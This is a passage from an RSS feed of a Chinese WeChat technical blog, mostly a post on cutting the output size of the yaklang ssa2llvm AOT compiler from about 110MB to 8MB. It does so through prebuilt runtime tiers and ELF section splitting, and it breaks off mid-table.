auto;&#34;,&#34;data-nest-level&#34;:&#34;5&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;powered-by&#34;:&#34;xiumi.us&#34;,&#34;style&#34;:&#34;margin-bottom: 10px;outline: 0px;&#34;,&#34;data-nest-level&#34;:&#34;6&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;font-size: 14px;text-align: justify;&#34;,&#34;data-nest-level&#34;:&#34;7&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:null,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">IRify下载地址：</span></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;clear: both;min-height: 1em;line-height: 1.5em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-tool&#34;:&#34;mdnice编辑器&#34;,&#34;data-website&#34;:&#34;https://www.mdnice.com&#34;,&#34;style&#34;:&#34;margin-right: 0em;margin-bottom: 0px;margin-left: 0em;padding-right: 10px;padding-left: 10px;text-wrap: wrap;outline: 0px;background-color: rgb(255, 255, 255);font-size: 16px;color: black;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, \&#34;PingFang SC\&#34;, Cambria, Cochin, Georgia, Times, \&#34;Times New Roman\&#34;, serif;visibility: visible;&#34;,&#34;data-nest-level&#34;:&#34;2&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;&#34;,&#34;data-nest-level&#34;:&#34;3&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;powered-by&#34;:&#34;xiumi.us&#34;,&#34;style&#34;:&#34;outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;&#34;,&#34;data-nest-level&#34;:&#34;4&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;padding: 30px;outline: 0px;display: inline-block;width: 656.997px;vertical-align: top;border-style: solid;border-width: 1px;border-color: rgb(255, 129, 36);align-self: flex-start;flex: 0 0 auto;&#34;,&#34;data-nest-level&#34;:&#34;5&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;powered-by&#34;:&#34;xiumi.us&#34;,&#34;style&#34;:&#34;margin-bottom: 10px;outline: 0px;&#34;,&#34;data-nest-level&#34;:&#34;6&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;font-size: 14px;text-align: justify;&#34;,&#34;data-nest-level&#34;:&#34;7&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" mpa-font-style="mryegmhqvuf" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin-right: 0px;margin-bottom: 0px;margin-left: 0px;padding: 0px;outline: 0px;max-width: 100%;text-decoration: underline;color: rgb(95, 156, 239);font-style: italic;font-size: 13px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><a href="https://ssa.to/" target="_blank">https://ssa.to/</a></span></p></div></div></div></div><div style="outline: 0px;" data-nest-level="3"><div data-tools="135编辑器" data-id="121426" style="outline: 0px;font-family: mp-quote, -apple-system-font, Arial, sans-serif;letter-spacing: 0.578px;" data-nest-level="4"><p data-nest-level="5" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100037040" data-ratio="0.6015104398045313" data-s="300,640" data-w="2251" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=3977bf26&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ff7AtEgJhMZcGEibOlRNlz6ZPic3cWicMDwdqZLq9q0hibDYiaICia6nncspoDTRnjPXFGTr3VWd9FlV4YSXRStoabxbg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-nest-level="5" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100036982" data-ratio="0.325" data-w="1080" data-type="gif" src="https://wechat2rss.xlab.app/img-proxy/?k=41e5b736&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Ff7AtEgJhMZeX0EdicJxBOjGjQuecg0TvCvRgqibPwyOUp8untXs9Cl5XKux2yQQf27ibgZ0ic0Fm2yicdbYg6c4xUJg%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=27d73fd2&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzk0MTM4NzIxMQ%3D%3D%26mid%3D2247530078%26idx%3D1%26sn%3D108a53239a83a19674e5996694208a52">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 21 Aug 2026 17:00:00 +0800</pubDate>
    </item>
    <item>
      <title>SSA2LLVM 编译产物大小优化</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzk0MTM4NzIxMQ==&amp;mid=2247530054&amp;idx=1&amp;sn=ac618c1422c779baad210eb87ccd3796</link>
      <description>告别巨型二进制：基于档位分仓与ELF切段的运行时精准精简方案</description>
      <content:encoded><![CDATA[<p>原创 <span>YAK</span> <span>2026-08-14 16:26</span> <span style="display: inline-block;">湖南</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=35ebb01d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FjibGAup6p72HHodiaHu6ticzMlJzRfSiaGKibecRLl25l3U2MhrdkTEfKWjzoD4RFI2ptWmtLDNbqB0aqNJTIIicCibBBRKGB6tR1WrSqzvSdUa1P0%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>告别巨型二进制：基于档位分仓与ELF切段的运行时精准精简方案</p>
  <p><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.1927710843373494" data-type="gif" data-w="1079" data-imgfileid="100032990" src="https://wechat2rss.xlab.app/img-proxy/?k=2ce71a29&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Ff7AtEgJhMZfCSs0zKcMmDXyJt76PDpGiataSbajd3BpbZnPXBCqFaA3icu2mY1LGqAmJHIiaCq5N9qCBv47ktQEYA%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/><img class="rich_pages wxw-img"/></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.462037037037037" data-s="300,640" data-type="webp" data-w="1080" type="block" data-imgfileid="100040730" src="https://wechat2rss.xlab.app/img-proxy/?k=1ed05c12&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Ff7AtEgJhMZd0VthLJpzgmAAibgKmOtuud9I0gL4U9bSUD2lUpicibTtwAKcSPvkh1Wlibj7Mmo7BOWN5myLMiaeQQ9w%2F640%3Fwx_fmt%3Dwebp%26from%3Dappmsg"/></p><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-nest-level="2" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;" data-nest-level="3"><div style="outline: 0px;text-align: justify;font-size: 18px;" data-nest-level="4"><p style="outline: 0px;" data-nest-level="5"><strong data-nest-level="6"><span leaf="" style="font-weight: bold;outline: 0px;" data-nest-level="7">一个 hello world 为什么是 110MB？—— 我们怎么把它缩到 8MB</span></strong></p></div></div></div><blockquote><p><span leaf="">这是 yaklang 的 AOT 编译器 ssa2llvm 的一次真实二进制剪裁实践。</span></p></blockquote><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-nest-level="2" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);" data-nest-level="3"><p style="outline: 0px;" data-nest-level="4"><strong style="outline: 0px;" data-nest-level="5"><em style="outline: 0px;" data-nest-level="6"><span leaf="" data-nest-level="7">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;" data-nest-level="2"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);" data-nest-level="3"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;" data-nest-level="4"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;" data-nest-level="5"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);" data-nest-level="6"><p style="outline: 0px;" data-nest-level="7"><span style="outline: 0px;font-size: 14px;" data-nest-level="8"><strong style="outline: 0px;" data-nest-level="9"><span leaf="" data-nest-level="10">1. 问题：hello world 凭什么 110MB？</span></strong></span></p></div></div></div></div></div><h3><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);font-weight: bold;">1.1 一个&#34;什么都不依赖&#34;的编译器</span></span></h3><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span mpa-font-style="mssk9dhhm9w"><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">ssa2llvm 干的事情很简单：把 yak 脚本编译成原生可执行文件。</span></span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span mpa-font-style="mssk9dhh1dsk"><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">但它有一个硬性目标：</span></span><strong><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">用户机器上什么都不用装</span></span></strong><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">。</span><span textstyle="" style="letter-spacing: 1px;">不需要 Go 工具链，不需要 clang，不需要链接器。代码生成、编译、链接全部在编译器内部完成，运行时也提前打包在编译器里。对用户来说就是拿一个文件，跑一下，脚本就变成可执行程序了。</span></span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span mpa-font-style="mssk9dhh13ps"><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">听起来很美好。代价是什么？</span></span></span></p><h3><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);font-weight: bold;">1.2 一个绕不开的矛盾</span></span></h3><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">yak 脚本什么都有可能写：可能只是 </span></span><code><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">print</span></span></code><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">，可能要用 </span></span><code><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">http</span></span></code><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> 发请求，可能要用 </span></span><code><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">ssa</span></span></code><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> 做代码分析。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">编译器没法预知用户会写什么，所以内置的运行时必须</span></span><strong><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">什么都包含</span></span></strong><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">。</span><span textstyle="" style="letter-spacing: 1px;">但任何一个具体脚本只会用到其中很小一部分——hello world 甚至一个模块都不用。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">一开始没有任何处理，结果就是：一个只打印 &#34;hello&#34; 的程序，把整套运行时原封不动地带了进去，编译出来</span></span><strong><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">109.77 MB</span></span></strong><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">。</span></span></p><h3><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);font-weight: bold;">1.3 大头不是代码，是&#34;函数档案&#34;</span></span></h3><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">更反直觉的是：这 110MB 里，真正的机器码只占一小部分，大头是</span></span><strong><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">元数据</span></span></strong><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">——Go 语言为了保证运行时功能（GC、panic 堆栈、反射），会为每一个函数保留一份&#34;档案&#34;。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">整套运行时里大约有</span></span><strong><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">17 万个函数</span></span></strong><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">，</span><span textstyle="" style="letter-spacing: 1px;">其中 </span></span><strong><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">60.7% 属于 TypeScript、PHP、Java 等语言前端</span></span></strong><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">。</span><span textstyle="" style="letter-spacing: 1px;">也就是说，一个什么都不做的 hello world，却要带着 17 万份函数档案出门，六成还是他根本用不到的语言解析器。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">这就是原始问题：</span></span><strong><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">不是&#34;代码太多&#34;，而是&#34;为了能编译任意脚本，必须把整个yaklang标准库都背着&#34;</span></span></strong><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">。</span></span></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-nest-level="2" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);" data-nest-level="3"><p style="outline: 0px;" data-nest-level="4"><strong style="outline: 0px;" data-nest-level="5"><em style="outline: 0px;" data-nest-level="6"><span leaf="" data-nest-level="7">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;" data-nest-level="2"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);" data-nest-level="3"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;" data-nest-level="4"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;" data-nest-level="5"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);" data-nest-level="6"><p style="outline: 0px;" data-nest-level="7"><span style="outline: 0px;font-size: 14px;" data-nest-level="8"><strong style="outline: 0px;" data-nest-level="9"><span leaf="" data-nest-level="10">2. 四条候选优化路线</span></strong></span></p></div></div></div></div></div><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">从原始问题出发，我们认真想过四条路。</span></span></p><p style="margin-bottom: 8px;"><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);font-weight: bold;">路线 A：让 Go 自己删——最理想，但时机不对</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">Go 链接器有非常完整的死代码消除：从程序入口出发，沿引用关系把所有&#34;活着&#34;的函数标记出来，其余整体丢掉，而且删函数的时候会</span></span><strong><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">连元数据一起删</span></span></strong><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">但它只在</span></span><strong><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">编译运行时库</span></span></strong><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">的时候生效。而 ssa2llvm 不能依赖编译环境，运行时标准库必须在发版时预构建好；用户编译脚本时，我们手里只有一个全量的 archive。</span></span><strong><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">决定&#34;哪些模块进 archive&#34;必须在发版时做完，编译脚本时只能在既成的 archive 上做减法。</span></span></strong></p><h3 style="margin-bottom: 8px;"><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);font-weight: bold;">路线 B：拆成小包，用哪个链哪个——被 Go 的运行时硬阻断</span></span></h3><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">这是 C 世界的常规操作：一个大库拆成很多小库，链接时只放需要的那些。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">但 Go 的 c-archive 不行：</span></span><strong><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">每一份都自带一整套 Go 运行时</span></span></strong><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">——各自的 `runtime.main`、各自的 pclntab、各自的模块数据。两份放进同一个链接命令，重复符号直接失败，两份运行时，GC 和堆栈全部错乱。</span></span></p><h3><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);font-weight: bold;">路线 C：预构建几个大档位——可行，但只能分大块</span></span></h3><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">既然不能拼小包，那就只能&#34;一个组合一份完整 archive&#34;。可模块的任意组合是巨大的，这个表根本列不出来。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">所以</span></span><strong><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">可行的只有少数几个固定档位</span></span></strong><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">，</span><span textstyle="" style="letter-spacing: 1px;">比如纯计算、网络、代码分析各一档。当然档位拆分成大块，必然出现&#34;某个脚本只多用了一个模块，却要跳到大一档&#34;的浪费。</span></span></p><h3><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);font-weight: bold;">路线 D：链接期删除——可行，但 Go 不给下刀的地方</span></span></h3><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">既然 archive 是既成的，那就在链接时把用不到的模块代码删掉。链接器确实有&#34;垃圾回收&#34;（`--gc-sections`），但它有个前提：代码必须被切成足够小的段。而 Go 的 c-archive 把所有代码放在</span></span><strong><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">一个巨大的段</span></span></strong><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">里，要么全留、要么全丢。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">所以我们得先自己改造 archive，让链接器有地方下刀（这就是后面的 elfsplit）。</span></span></p><h3><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);font-weight: bold;">我们的选择：C + D，两层正交</span></span></h3><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><strong><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">    档位（C）</span></span></strong><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">决定&#34;这份 archive 里总共有多少元数据&#34;——让 Go 链接器在发版时就把不要的模块连元数据一起删掉；</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><strong><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">    链接期删除（D）</span></span></strong><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">决定&#34;档内剩下的代码有多少能进产物&#34;——回收档位粒度不足造成的浪费。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">两者互不重叠，可以叠加。</span></span></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-nest-level="2" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);" data-nest-level="3"><p style="outline: 0px;" data-nest-level="4"><strong style="outline: 0px;" data-nest-level="5"><em style="outline: 0px;" data-nest-level="6"><span leaf="" data-nest-level="7">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;" data-nest-level="2"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);" data-nest-level="3"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;" data-nest-level="4"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;" data-nest-level="5"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);" data-nest-level="6"><p style="outline: 0px;text-align: left;" data-nest-level="7"><span style="outline: 0px;font-size: 14px;" data-nest-level="8"><strong style="outline: 0px;" data-nest-level="9"><span leaf="" data-nest-level="10">3. 分块 yaklib core/net/staticanalyze</span></strong></span></p></div></div></div></div></div><h3><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);font-weight: bold;">3.1 先量化：哪些模块真的&#34;大&#34;</span></span></h3><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">我们先把完整 yaklib 的代码按模块拆开，量了一下每个模块节的真实大小：</span></span></p><p><table style="border: none;border-collapse: collapse;min-width: 50px;"><tbody><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">模块节</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">大小</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><code><span leaf="">.modtext.ssafront</span></code></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">12,454,500 B（11.88 MiB）</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><code><span leaf="">.modtext.sharednet</span></code></p></td><td style="border:1px solid rgb(222, 224, 